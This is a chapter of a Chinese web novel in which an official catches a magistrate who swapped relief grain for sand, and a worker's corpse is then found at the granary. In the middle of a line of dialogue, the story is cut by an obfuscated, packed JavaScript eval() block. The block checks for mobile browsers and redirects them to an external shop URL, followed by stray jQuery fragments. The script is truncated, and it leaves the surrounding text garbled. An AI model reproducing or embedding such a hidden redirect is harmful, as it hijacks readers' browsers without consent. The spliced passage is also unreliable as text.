封荣咬了咬牙,心中暗骂县令这个蠢货,开口道:“席……”
话刚出口,就被打断。
“劳烦县令费心了。”席丞诏淡淡说道。
封荣与县令一同看向席丞诏,满是震惊。
不都说席丞诏此人刚正不阿,不收贿赂的吗?
传言是假的?
不过也是,他都背靠大树了,哪能真的一点贿赂不收?
想通关窍后,两人顿时松下一口气。
封荣暗自赞叹县令这一步险棋,完全忘记前一刻还在骂他愚蠢至极。
县令心中腹诽,嘴角却压不住了,堆着满脸褶子,赔笑道:“下官这就令人为您带路!”
席丞诏“嗯”了一声,算是应下。
马车摇摇晃晃,带着席丞诏及随行人员一同远去,留下其余官员走得走散的散。
青袍官员行至县令旁边,疑惑问道:“方才席大人下船,你怎么还敢走神的?要不是我拉你,你就被罚了!”
县令哪里还有刚才的慌乱,他嘴角带喜,眉头舒展,抱拳谢道:“多谢同僚相助。”
青袍官员挠挠头,不明所以。
县令留在原地,待人散得差不多了。他清了清嗓子,指挥自己的人将粮食从船上一袋袋运到车上。
每装满一车,他的心就稳一分。
待全部装运完毕,县令坐上马车,带着车队,向准备好的地方行进。
县令心中石头放下,人也放松下来,独自在车上平复激动的心情。
虽然车队速度并没有刻意加快,但县令觉得,几乎是一眨眼就到了地方。
时间紧迫,他坐在马车上酌饮着那杯本应该进贡给天家的茶叶,只伸手在车外挥了挥,便继续悠闲地饮茶了。
许是想到自己能保住一条命,再幸运一点,治水有功,再升一级官职,他闭目轻哼小曲。
车外众人接到命令,将粮食一袋袋搬下来,准备换粮。
只见一人手持匕首,插进布袋用力一划,顿时呆愣在原地。
布袋里装的哪是什么赈灾粮,分明是一粒粒沙土石块!
众人当即不知所措,正有人准备去向县令禀告此事,一柄闪着寒光的长刀夹在脖颈上,他不敢再动。
短短几秒钟,场上形势发生变化。车外的众人被官兵无声压至一处,车内县令哼的小曲清晰传出。
“……我做提控最有名,瞒天过海无人问……”
一人听清后,嗤笑一声。
他迈步走向车前,小曲愈发清楚。
这人在车前站定后不再说话。
马车中的县令还沉浸在自己的幻想中,没关注车外的动静。一曲哼完,想着去看看还剩多少,打算去催催。他理了理衣袖,嘬了口茶水,掀起车门,只见本不该出现的人正似笑非笑地看着他。
县令大脑顿时一片空白,只剩下一个念头──席丞诏他不是走了吗?
席丞诏侧身为县令让出一条路:“本官竟然不知县令大人还有这般兴致,还请劳烦县令大人随本官走一趟吧,本官想仔细听听……”
县令已经听不懂席丞诏在说些什么了,他僵在原地,维持一手掀起帘子的姿势。脸上震惊和窃喜的表情同时出现,显得格外滑稽。
席丞诏抬眼,官兵立即上前将县令绑了下来。
直到被压在地上,他环视一圈,看见刚才那个青袍官员眼中的震惊,看见自己安排在林中接应的人同样被捆起来,他脑子里还没转过来。
席丞诏懒得给他解释,在侍卫的搀扶下,他骑上一匹马,带着浩浩荡荡的队伍直奔粮仓而去。
粮仓众人在今早得到了县令的命令,只等粮食一到,就能立即搬进去。
可惜,他们等来的不是粮食,而是席丞诏。
席丞诏马刚停步,官兵就已经将粮仓众人围了起来。
他撑着侍卫的手,慢慢下马。
席丞诏站定,问道:“人都在这?”
官兵将领抱拳答道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537763|203572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“粮仓所有人都在这。”
席丞诏吩咐道:“派人去户籍室拿名册来,挨个对。”
小兵识趣地小跑进了粮仓,不多时,拿着一本册子出来,递交到将领手里。
“我念到名字的,站到这边来!”
“王勺!”
“到……”
“赵牛!”
“在……”
“……”
将领按照名册一个个名字念过,众人逐渐全部移到另一边。
“张老二!”
“……”
“张老二人呢!?”
“……”依旧无人回答。
将领眉头紧锁,厉声道:“你们谁看见张老二了?!”
众人面面相觑,无人知道。
将领察觉事情不对,问道:“最后见过张老二的站出来!”
一道年轻的声音在众人中小声说道:“昨晚我和舅父去巡逻,仓里只有张老二,钱三,李工,孙木四人在打牌……”
话音刚落,就被人怼了一下。
年轻人小声抱怨:“叔父你碰到我了!”
他的抱怨无人在意,将领沉声道:“刚才的三个人站出来!”
三人慢吞吞地站在面前。
“你们谁见过张老二?”将领问道。
三人对视一眼,没有说话。
将领狠厉的目光落在三人头上,压得人喘不过气。
“……我,我见过……”
众人齐齐看向李工,只听得他继续说道:“昨晚……张老二使手段赢了牌,我看不下去,就去散心了。在散心的时候,我看见张老二出了屋子,看样子挺生气的。后来……”李工顿了顿,“我看见钱三也出来了……”
两人立即震惊地看向李工──他在说什么!?
“不,不是啊大人!”钱三慌忙辩解,“我出门是去粮仓巡逻啊大人,我不知道张老二去哪了!”
“行了!”将领打断他,指挥一队人,“你们,进去搜!”
场面一时寂静。
度秒如年。
“报告!”
“找到张老二了!”
两个官兵把一具尸体放在地面上,众人一片哗然。
“安静!”将领厉声喝道。
“你!”他指着李工,“继续说!”
在众人的目光中,李工继续说道:“张老二家境不好,我们都知道,但是他为了钱使诈就不对了啊……”
“他祖母生病前还是很正直的人,像其他人会偷拿些油水,他从来不拿,不仅如此,还检举过一个人……”
将领听到信息:“谁?”
李工似是犹豫该不该说,在钱三的震惊中,他怯懦说出:“钱三……”
将领目光锁定钱三。
钱三眼睛瞪得溜圆,眼珠都要脱出眼眶,他抖着手指着地上的尸体:“你说我杀了他!?”
李工闭紧了嘴,不再吭声。
钱三看着他的样子,又看向其余的人,怀疑、厌恶、害怕……他心凉了半截。
他又颤着声,死死抓着孙木:“你,你说说,昨晚我还跟你喝酒呢,我怎么会杀人!?”
孙木垂着头,双拳紧握,偏偏没有开口解释。
将领心下了然:“来人,带回去审问!”
官兵上前架起钱三,就要拖走。
这时,一道声音响起。
“等等。”
众人目光齐齐看去。